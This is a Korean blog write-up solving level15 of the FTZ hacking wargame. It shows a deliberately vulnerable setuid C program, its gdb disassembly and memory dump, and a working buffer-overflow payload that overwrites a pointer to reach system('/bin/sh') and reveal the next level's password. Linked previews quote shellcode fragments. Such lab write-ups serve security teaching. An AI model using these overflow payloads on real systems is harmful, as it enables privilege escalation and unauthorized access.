728x90
#include <stdio.h>
 
main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}

level14와의 유일한 차이는 check가 int형 포인터 변수가 된 것이다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:	push   ebp
0x08048491 <main+1>:	mov    ebp,esp
0x08048493 <main+3>:	sub    esp,0x38
0x08048496 <main+6>:	sub    esp,0x4
0x08048499 <main+9>:	push   ds:0x8049664
0x0804849f <main+15>:	push   0x2d
0x080484a1 <main+17>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080484a4 <main+20>:	push   eax
0x080484a5 <main+21>:	call   0x8048360 <fgets>
0x080484aa <main+26>:	add    esp,0x10
0x080484ad <main+29>:	mov    eax,DWORD PTR [ebp-16]  //check값 ebp-16에 존재. 즉, check 주솟값 ebp-16
0x080484b0 <main+32>:	cmp    DWORD PTR [eax],0xdeadbeef  //*check 포인터 연산
0x080484b6 <main+38>:	jne    0x80484dd <main+77>
0x080484b8 <main+40>:	sub    esp,0x8
0x080484bb <main+43>:	push   0xc18
0x080484c0 <main+48>:	push   0xc18
0x080484c5 <main+53>:	call   0x8048380 <setreuid>
0x080484ca <main+58>:	add    esp,0x10
0x080484cd <main+61>:	sub    esp,0xc
0x080484d0 <main+64>:	push   0x8048548
0x080484d5 <main+69>:	call   0x8048340 <system>
0x080484da <main+74>:	add    esp,0x10
0x080484dd <main+77>:	leave

check 값이 저장되는 위치에 0xdeadbeef의 주솟값을 저장하면 포인터 연산(*)으로 접근 시 0xdeadbeef에 접근하게 될 것이다. 그럼 if문이 참이 되어 ruid와 euid가 level16이 되고 /bin/sh를 실행할 수 있다. 이때 my-pass를 입력하면 level16의 비밀번호가 나온다.

(gdb) x/40x main
0x8048490 <main>:	0x83e58955	0xec8338ec	0x6435ff04	0x6a080496
0x80484a0 <main+16>:	0xc8458d2d	0xfeb6e850	0xc483ffff	0xf0458b10
0x80484b0 <main+32>:	0xbeef3881	0x2575dead	0x6808ec83	0x00000c18
0x80484c0 <main+48>:	0x000c1868	0xfeb6e800	0xc483ffff	0x0cec8310
0x80484d0 <main+64>:	0x04854868	0xfe66e808	0xc483ffff	0x90c3c910

위의 메모리 내용을 보니 0x80483b2에 0xdeadbeef가 존재함을 알 수 있다.

[level15@ftz tmp]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat)|../attackme
my-pass

Level16 Password is "about to cause mass".

위의 명령어가 이해가 안되면 다음 글을 참고하길 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level17  (0) 2023.01.19
level16  (0) 2023.01.19
level14  (0) 2023.01.19
level13  (0) 2023.01.19
level12  (0) 2023.01.19

+ Recent posts